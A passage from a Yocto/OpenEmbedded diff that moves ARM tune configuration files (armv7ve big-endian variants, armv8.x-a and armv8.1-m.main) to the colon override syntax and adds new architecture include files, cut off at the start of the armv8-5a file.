+PACKAGE_EXTRA_ARCHS:tune-armv7vehf-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf} armv7vehf-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethf-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf} armv7vehf-vfpv4d16 armv7vet2hf-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf} armv7vehf-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf} armv7vehf-neon armv7vet2hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehf-neon} armv7vehf-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethf-neon} armv7vehf-neon-vfpv4 armv7vet2hf-neon-vfpv4"
# Big Endian
AVAILTUNES += "armv7veb armv7vetb armv7veb-vfpv3d16 armv7vetb-vfpv3d16 armv7veb-vfpv3 armv7vetb-vfpv3 armv7veb-vfpv4d16 armv7vetb-vfpv4d16 armv7veb-neon armv7vetb-neon armv7veb-neon-vfpv4 armv7vetb-neon-vfpv4"
-ARMPKGARCH_tune-armv7veb ?= "armv7ve"
-ARMPKGARCH_tune-armv7vetb ?= "armv7ve"
-ARMPKGARCH_tune-armv7veb-vfpv3d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vetb-vfpv3d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7veb-vfpv3 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vetb-vfpv3 ?= "armv7ve"
-ARMPKGARCH_tune-armv7veb-vfpv4d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vetb-vfpv4d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7veb-neon ?= "armv7ve"
-ARMPKGARCH_tune-armv7vetb-neon ?= "armv7ve"
-ARMPKGARCH_tune-armv7veb-neon-vfpv4 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vetb-neon-vfpv4 ?= "armv7ve"
-TUNE_FEATURES_tune-armv7veb = "${TUNE_FEATURES_tune-armv7ve} bigendian"
-TUNE_FEATURES_tune-armv7vetb = "${TUNE_FEATURES_tune-armv7vet} bigendian"
-TUNE_FEATURES_tune-armv7veb-vfpv3d16 = "${TUNE_FEATURES_tune-armv7ve-vfpv3d16} bigendian"
-TUNE_FEATURES_tune-armv7vetb-vfpv3d16 = "${TUNE_FEATURES_tune-armv7vet-vfpv3d16} bigendian"
-TUNE_FEATURES_tune-armv7veb-vfpv3 = "${TUNE_FEATURES_tune-armv7ve-vfpv3} bigendian"
-TUNE_FEATURES_tune-armv7vetb-vfpv3 = "${TUNE_FEATURES_tune-armv7vet-vfpv3} bigendian"
-TUNE_FEATURES_tune-armv7veb-vfpv4d16 = "${TUNE_FEATURES_tune-armv7ve-vfpv4d16} bigendian"
-TUNE_FEATURES_tune-armv7vetb-vfpv4d16 = "${TUNE_FEATURES_tune-armv7vet-vfpv4d16} bigendian"
-TUNE_FEATURES_tune-armv7veb-neon = "${TUNE_FEATURES_tune-armv7ve-neon} bigendian"
-TUNE_FEATURES_tune-armv7vetb-neon = "${TUNE_FEATURES_tune-armv7vet-neon} bigendian"
-TUNE_FEATURES_tune-armv7veb-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7ve-neon-vfpv4} bigendian"
-TUNE_FEATURES_tune-armv7vetb-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7vet-neon-vfpv4} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv7veb = "${PACKAGE_EXTRA_ARCHS_tune-armv7ab} armv7veb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7vetb = "${PACKAGE_EXTRA_ARCHS_tune-armv7atb} armv7veb-vfp armv7vet2b-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7veb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7veb} armv7veb-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vetb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vetb} armv7veb-vfpv3d16 armv7vet2b-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7veb-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7veb-vfpv3d16} armv7veb-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7vetb-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vetb-vfpv3d16} armv7veb-vfpv3 armv7vet2b-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7veb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7veb} armv7veb-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vetb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vetb} armv7veb-vfpv4d16 armv7vet2b-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7veb-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7veb} armv7veb-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7vetb-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vetb} armv7veb-neon armv7vet2b-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7veb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7veb-neon} armv7veb-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7vetb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vetb-neon} armv7veb-neon-vfpv4 armv7vet2b-neon-vfpv4"
+ARMPKGARCH:tune-armv7veb ?= "armv7ve"
+ARMPKGARCH:tune-armv7vetb ?= "armv7ve"
+ARMPKGARCH:tune-armv7veb-vfpv3d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vetb-vfpv3d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7veb-vfpv3 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vetb-vfpv3 ?= "armv7ve"
+ARMPKGARCH:tune-armv7veb-vfpv4d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vetb-vfpv4d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7veb-neon ?= "armv7ve"
+ARMPKGARCH:tune-armv7vetb-neon ?= "armv7ve"
+ARMPKGARCH:tune-armv7veb-neon-vfpv4 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vetb-neon-vfpv4 ?= "armv7ve"
+TUNE_FEATURES:tune-armv7veb = "${TUNE_FEATURES:tune-armv7ve} bigendian"
+TUNE_FEATURES:tune-armv7vetb = "${TUNE_FEATURES:tune-armv7vet} bigendian"
+TUNE_FEATURES:tune-armv7veb-vfpv3d16 = "${TUNE_FEATURES:tune-armv7ve-vfpv3d16} bigendian"
+TUNE_FEATURES:tune-armv7vetb-vfpv3d16 = "${TUNE_FEATURES:tune-armv7vet-vfpv3d16} bigendian"
+TUNE_FEATURES:tune-armv7veb-vfpv3 = "${TUNE_FEATURES:tune-armv7ve-vfpv3} bigendian"
+TUNE_FEATURES:tune-armv7vetb-vfpv3 = "${TUNE_FEATURES:tune-armv7vet-vfpv3} bigendian"
+TUNE_FEATURES:tune-armv7veb-vfpv4d16 = "${TUNE_FEATURES:tune-armv7ve-vfpv4d16} bigendian"
+TUNE_FEATURES:tune-armv7vetb-vfpv4d16 = "${TUNE_FEATURES:tune-armv7vet-vfpv4d16} bigendian"
+TUNE_FEATURES:tune-armv7veb-neon = "${TUNE_FEATURES:tune-armv7ve-neon} bigendian"
+TUNE_FEATURES:tune-armv7vetb-neon = "${TUNE_FEATURES:tune-armv7vet-neon} bigendian"
+TUNE_FEATURES:tune-armv7veb-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7ve-neon-vfpv4} bigendian"
+TUNE_FEATURES:tune-armv7vetb-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7vet-neon-vfpv4} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv7veb = "${PACKAGE_EXTRA_ARCHS:tune-armv7ab} armv7veb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7vetb = "${PACKAGE_EXTRA_ARCHS:tune-armv7atb} armv7veb-vfp armv7vet2b-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7veb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7veb} armv7veb-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vetb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vetb} armv7veb-vfpv3d16 armv7vet2b-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7veb-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7veb-vfpv3d16} armv7veb-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7vetb-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vetb-vfpv3d16} armv7veb-vfpv3 armv7vet2b-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7veb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7veb} armv7veb-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vetb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vetb} armv7veb-vfpv4d16 armv7vet2b-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7veb-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7veb} armv7veb-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7vetb-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vetb} armv7veb-neon armv7vet2b-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7veb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7veb-neon} armv7veb-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7vetb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vetb-neon} armv7veb-neon-vfpv4 armv7vet2b-neon-vfpv4"
# Big Endian + HF
AVAILTUNES += "armv7vehfb armv7vethfb armv7vehfb-vfpv3d16 armv7vethfb-vfpv3d16 armv7vehfb-vfpv3 armv7vethfb-vfpv3 armv7vehfb-vfpv4d16 armv7vethfb-vfpv4d16 armv7vehfb-neon armv7vethfb-neon armv7vehfb-neon-vfpv4 armv7vethfb-neon-vfpv4"
-ARMPKGARCH_tune-armv7vehfb ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethfb ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehfb-vfpv3d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethfb-vfpv3d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehfb-vfpv3 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethfb-vfpv3 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehfb-vfpv4d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethfb-vfpv4d16 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehfb-neon ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethfb-neon ?= "armv7ve"
-ARMPKGARCH_tune-armv7vehfb-neon-vfpv4 ?= "armv7ve"
-ARMPKGARCH_tune-armv7vethfb-neon-vfpv4 ?= "armv7ve"
-TUNE_FEATURES_tune-armv7vehfb = "${TUNE_FEATURES_tune-armv7vehf} bigendian"
-TUNE_FEATURES_tune-armv7vethfb = "${TUNE_FEATURES_tune-armv7vethf} bigendian"
-TUNE_FEATURES_tune-armv7vehfb-vfpv3d16 = "${TUNE_FEATURES_tune-armv7vehf-vfpv3d16} bigendian"
-TUNE_FEATURES_tune-armv7vethfb-vfpv3d16 = "${TUNE_FEATURES_tune-armv7vethf-vfpv3d16} bigendian"
-TUNE_FEATURES_tune-armv7vehfb-vfpv3 = "${TUNE_FEATURES_tune-armv7vehf-vfpv3} bigendian"
-TUNE_FEATURES_tune-armv7vethfb-vfpv3 = "${TUNE_FEATURES_tune-armv7vethf-vfpv3} bigendian"
-TUNE_FEATURES_tune-armv7vehfb-vfpv4d16 = "${TUNE_FEATURES_tune-armv7vehf-vfpv4d16} bigendian"
-TUNE_FEATURES_tune-armv7vethfb-vfpv4d16 = "${TUNE_FEATURES_tune-armv7vethf-vfpv4d16} bigendian"
-TUNE_FEATURES_tune-armv7vehfb-neon = "${TUNE_FEATURES_tune-armv7vehf-neon} bigendian"
-TUNE_FEATURES_tune-armv7vethfb-neon = "${TUNE_FEATURES_tune-armv7vethf-neon} bigendian"
-TUNE_FEATURES_tune-armv7vehfb-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7vehf-neon-vfpv4} bigendian"
-TUNE_FEATURES_tune-armv7vethfb-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7vethf-neon-vfpv4} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehfb = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahfb} armv7vehfb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethfb = "${PACKAGE_EXTRA_ARCHS_tune-armv7athfb} armv7vehfb-vfp armv7vet2hfb-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehfb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehfb} armv7vehfb-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethfb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethfb} armv7vehfb-vfpv3d16 armv7vet2hfb-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehfb-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehfb-vfpv3d16} armv7vehfb-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethfb-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethfb-vfpv3d16} armv7vehfb-vfpv3 armv7vet2hfb-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehfb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehfb} armv7vehfb-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethfb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethfb} armv7vehfb-vfpv4d16 armv7vet2hfb-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehfb-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehfb} armv7vehfb-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethfb-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethfb} armv7vehfb-neon armv7vet2hfb-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7vehfb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vehfb-neon} armv7vehfb-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7vethfb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7vethfb-neon} armv7vehfb-neon-vfpv4 armv7vet2hfb-neon-vfpv4"
+ARMPKGARCH:tune-armv7vehfb ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethfb ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehfb-vfpv3d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethfb-vfpv3d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehfb-vfpv3 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethfb-vfpv3 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehfb-vfpv4d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethfb-vfpv4d16 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehfb-neon ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethfb-neon ?= "armv7ve"
+ARMPKGARCH:tune-armv7vehfb-neon-vfpv4 ?= "armv7ve"
+ARMPKGARCH:tune-armv7vethfb-neon-vfpv4 ?= "armv7ve"
+TUNE_FEATURES:tune-armv7vehfb = "${TUNE_FEATURES:tune-armv7vehf} bigendian"
+TUNE_FEATURES:tune-armv7vethfb = "${TUNE_FEATURES:tune-armv7vethf} bigendian"
+TUNE_FEATURES:tune-armv7vehfb-vfpv3d16 = "${TUNE_FEATURES:tune-armv7vehf-vfpv3d16} bigendian"
+TUNE_FEATURES:tune-armv7vethfb-vfpv3d16 = "${TUNE_FEATURES:tune-armv7vethf-vfpv3d16} bigendian"
+TUNE_FEATURES:tune-armv7vehfb-vfpv3 = "${TUNE_FEATURES:tune-armv7vehf-vfpv3} bigendian"
+TUNE_FEATURES:tune-armv7vethfb-vfpv3 = "${TUNE_FEATURES:tune-armv7vethf-vfpv3} bigendian"
+TUNE_FEATURES:tune-armv7vehfb-vfpv4d16 = "${TUNE_FEATURES:tune-armv7vehf-vfpv4d16} bigendian"
+TUNE_FEATURES:tune-armv7vethfb-vfpv4d16 = "${TUNE_FEATURES:tune-armv7vethf-vfpv4d16} bigendian"
+TUNE_FEATURES:tune-armv7vehfb-neon = "${TUNE_FEATURES:tune-armv7vehf-neon} bigendian"
+TUNE_FEATURES:tune-armv7vethfb-neon = "${TUNE_FEATURES:tune-armv7vethf-neon} bigendian"
+TUNE_FEATURES:tune-armv7vehfb-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7vehf-neon-vfpv4} bigendian"
+TUNE_FEATURES:tune-armv7vethfb-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7vethf-neon-vfpv4} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehfb = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahfb} armv7vehfb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethfb = "${PACKAGE_EXTRA_ARCHS:tune-armv7athfb} armv7vehfb-vfp armv7vet2hfb-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehfb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehfb} armv7vehfb-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethfb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethfb} armv7vehfb-vfpv3d16 armv7vet2hfb-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehfb-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehfb-vfpv3d16} armv7vehfb-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethfb-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethfb-vfpv3d16} armv7vehfb-vfpv3 armv7vet2hfb-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehfb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehfb} armv7vehfb-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethfb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethfb} armv7vehfb-vfpv4d16 armv7vet2hfb-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehfb-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehfb} armv7vehfb-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethfb-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethfb} armv7vehfb-neon armv7vet2hfb-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7vehfb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vehfb-neon} armv7vehfb-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7vethfb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7vethfb-neon} armv7vehfb-neon-vfpv4 armv7vet2hfb-neon-vfpv4"
diff --git a/meta/conf/machine/include/arm/arch-armv8-1a.inc b/meta/conf/machine/include/arm/arch-armv8-1a.inc
new file mode 100644
index 0000000000..be8e814a39
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv8-1a.inc
@@ -0,0 +1,18 @@
+DEFAULTTUNE ?= "armv8-1a"
+
+TUNEVALID[armv8-1a] = "Enable instructions for ARMv8.1-a"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8-1a', ' -march=armv8.1-a', '', d)}"
+# TUNE crypto will be handled by arch-armv8a.inc below
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8-1a', 'armv8-1a:', '', d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+AVAILTUNES += "armv8-1a armv8-1a-crypto"
+ARMPKGARCH:tune-armv8-1a ?= "armv8-1a"
+ARMPKGARCH:tune-armv8-1a-crypto ?= "armv8-1a"
+TUNE_FEATURES:tune-armv8-1a = "aarch64 armv8-1a"
+TUNE_FEATURES:tune-armv8-1a-crypto = "${TUNE_FEATURES:tune-armv8-1a} crypto"
+PACKAGE_EXTRA_ARCHS:tune-armv8-1a = "${PACKAGE_EXTRA_ARCHS:tune-armv8a} armv8-1a"
+PACKAGE_EXTRA_ARCHS:tune-armv8-1a-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8-1a} armv8-1a-crypto"
+BASE_LIB:tune-armv8-1a = "lib64"
+BASE_LIB:tune-armv8-1a-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/arch-armv8-1m-main.inc b/meta/conf/machine/include/arm/arch-armv8-1m-main.inc
new file mode 100644
index 0000000000..5b1bcb8f46
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv8-1m-main.inc
@@ -0,0 +1,18 @@
+#
+#
+# Defaults for ARMv8.1-M.main
+#
+DEFAULTTUNE ?= "armv8-1m-main"
+
+TUNEVALID[armv8-1m-main] = "Enable instructions for ARMv8.1-m.main"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8-1m-main', ' -march=armv8.1-m.main', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8-1m-main', 'armv8-1m-main:', '', d)}"
+
+TUNECONFLICTS[armv8-1m-main] = "armv4 armv5 armv6 armv7a"
+
+require conf/machine/include/arm/arch-armv8m-main.inc
+
+AVAILTUNES += "armv8-1m-main"
+ARMPKGARCH:tune-armv8-1m-main = "armv8-1m-main"
+TUNE_FEATURES:tune-armv8-1m-main = "armv8-1m-main"
+PACKAGE_EXTRA_ARCHS:tune-armv8-1m-main = "armv8-1m-main"
diff --git a/meta/conf/machine/include/arm/arch-armv8-2a.inc b/meta/conf/machine/include/arm/arch-armv8-2a.inc
index 1c095256d1..2b5fae1406 100644
--- a/meta/conf/machine/include/arm/arch-armv8-2a.inc
+++ b/meta/conf/machine/include/arm/arch-armv8-2a.inc
@@ -1,19 +1,20 @@
DEFAULTTUNE ?= "armv8-2a"
-TUNEVALID[armv8-2a] = "Enable instructions for ARMv8-a"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8-2a', ' -march=armv8.2-a', '', d)}"
+TUNEVALID[armv8-2a] = "Enable instructions for ARMv8.2-a"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8-2a', ' -march=armv8.2-a', '', d)}"
# TUNE crypto will be handled by arch-armv8a.inc below
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8-2a', 'armv8-2a:', '' ,d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8-2a', 'armv8-2a:', '', d)}"
require conf/machine/include/arm/arch-armv8a.inc
+require conf/machine/include/arm/feature-arm-sve.inc
# Little Endian base configs
AVAILTUNES += "armv8-2a armv8-2a-crypto"
-ARMPKGARCH_tune-armv8-2a ?= "armv8-2a"
-ARMPKGARCH_tune-armv8-2a-crypto ?= "armv8-2a"
-TUNE_FEATURES_tune-armv8-2a = "aarch64 armv8-2a"
-TUNE_FEATURES_tune-armv8-2a-crypto = "${TUNE_FEATURES_tune-armv8-2a} crypto"
-PACKAGE_EXTRA_ARCHS_tune-armv8-2a = "${PACKAGE_EXTRA_ARCHS_tune-armv8a} armv8-2a"
-PACKAGE_EXTRA_ARCHS_tune-armv8-2a-crypto = "${PACKAGE_EXTRA_ARCHS_tune-armv8-2a} armv8-2a-crypto"
-BASE_LIB_tune-armv8-2a = "lib64"
-BASE_LIB_tune-armv8-2a-crypto = "lib64"
+ARMPKGARCH:tune-armv8-2a ?= "armv8-2a"
+ARMPKGARCH:tune-armv8-2a-crypto ?= "armv8-2a"
+TUNE_FEATURES:tune-armv8-2a = "aarch64 armv8-2a"
+TUNE_FEATURES:tune-armv8-2a-crypto = "${TUNE_FEATURES:tune-armv8-2a} crypto"
+PACKAGE_EXTRA_ARCHS:tune-armv8-2a = "${PACKAGE_EXTRA_ARCHS:tune-armv8a} armv8-2a"
+PACKAGE_EXTRA_ARCHS:tune-armv8-2a-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8-2a} armv8-2a-crypto"
+BASE_LIB:tune-armv8-2a = "lib64"
+BASE_LIB:tune-armv8-2a-crypto = "lib64"
diff --git a/meta/conf/machine/include/arm/arch-armv8-3a.inc b/meta/conf/machine/include/arm/arch-armv8-3a.inc
new file mode 100644
index 0000000000..49493fb3b5
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv8-3a.inc
@@ -0,0 +1,22 @@
+DEFAULTTUNE ?= "armv8-3a"
+
+TUNEVALID[armv8-3a] = "Enable instructions for ARMv8.3-a"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8-3a', ' -march=armv8.3-a', '', d)}"
+# TUNE crypto will be handled by arch-armv8a.inc below
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8-3a', 'armv8-3a:', '', d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+
+AVAILTUNES += "armv8-3a armv8-3a-crypto armv8-3a-crypto-sve"
+ARMPKGARCH:tune-armv8-3a ?= "armv8-3a"
+ARMPKGARCH:tune-armv8-3a-crypto ?= "armv8-3a"
+ARMPKGARCH:tune-armv8-3a-crypto-sve ?= "armv8-3a"
+TUNE_FEATURES:tune-armv8-3a = "aarch64 armv8-3a"
+TUNE_FEATURES:tune-armv8-3a-crypto = "${TUNE_FEATURES:tune-armv8-3a} crypto"
+TUNE_FEATURES:tune-armv8-3a-crypto-sve = "${TUNE_FEATURES:tune-armv8-3a-crypto} sve"
+PACKAGE_EXTRA_ARCHS:tune-armv8-3a = "${PACKAGE_EXTRA_ARCHS:tune-armv8a} armv8-3a"
+PACKAGE_EXTRA_ARCHS:tune-armv8-3a-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8-3a} armv8-3a-crypto"
+PACKAGE_EXTRA_ARCHS:tune-armv8-3a-crypto-sve = "${PACKAGE_EXTRA_ARCHS:tune-armv8-3a-crypto} armv8-3a-crypto-sve"
+BASE_LIB:tune-armv8-3a = "lib64"
+BASE_LIB:tune-armv8-3a-crypto = "lib64"
+BASE_LIB:tune-armv8-3a-crypto-sve = "lib64"
diff --git a/meta/conf/machine/include/arm/arch-armv8-4a.inc b/meta/conf/machine/include/arm/arch-armv8-4a.inc
new file mode 100644
index 0000000000..b61d50daa5
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv8-4a.inc
@@ -0,0 +1,24 @@
+DEFAULTTUNE ?= "armv8-4a"
+
+TUNEVALID[armv8-4a] = "Enable instructions for ARMv8.4-a"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv8-4a', ' -march=armv8.4-a', '', d)}"
+# TUNE crypto will be handled by arch-armv8a.inc below
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv8-4a', 'armv8-4a:', '', d)}"
+
+require conf/machine/include/arm/arch-armv8a.inc
+require conf/machine/include/arm/feature-arm-sve.inc
+
+# Little Endian base configs
+AVAILTUNES += "armv8-4a armv8-4a-crypto armv8-4a-crypto-sve"
+ARMPKGARCH:tune-armv8-4a ?= "armv8-4a"
+ARMPKGARCH:tune-armv8-4a-crypto ?= "armv8-4a"
+ARMPKGARCH:tune-armv8-4a-crypto-sve ?= "armv8-4a"
+TUNE_FEATURES:tune-armv8-4a = "aarch64 armv8-4a"
+TUNE_FEATURES:tune-armv8-4a-crypto = "${TUNE_FEATURES:tune-armv8-4a} crypto"
+TUNE_FEATURES:tune-armv8-4a-crypto-sve = "${TUNE_FEATURES:tune-armv8-4a-crypto} sve"
+PACKAGE_EXTRA_ARCHS:tune-armv8-4a = "${PACKAGE_EXTRA_ARCHS:tune-armv8a} armv8-4a"
+PACKAGE_EXTRA_ARCHS:tune-armv8-4a-crypto = "${PACKAGE_EXTRA_ARCHS:tune-armv8-4a} armv8-4a-crypto"
+PACKAGE_EXTRA_ARCHS:tune-armv8-4a-crypto-sve = "${PACKAGE_EXTRA_ARCHS:tune-armv8-4a-crypto} armv8-4a-crypto-sve"
+BASE_LIB:tune-armv8-4a = "lib64"
+BASE_LIB:tune-armv8-4a-crypto = "lib64"
+BASE_LIB:tune-armv8-4a-crypto-sve = "lib64"
diff --git a/meta/conf/machine/include/arm/arch-armv8-5a.inc b/meta/conf/machine/include/arm/arch-armv8-5a.inc
new file mode 100644
index 0000000000..176bc9033c
--- /dev/null
+++ b/meta/conf/machine/include/arm/arch-armv8-5a.inc
@@ -0,0 +1,24 @@
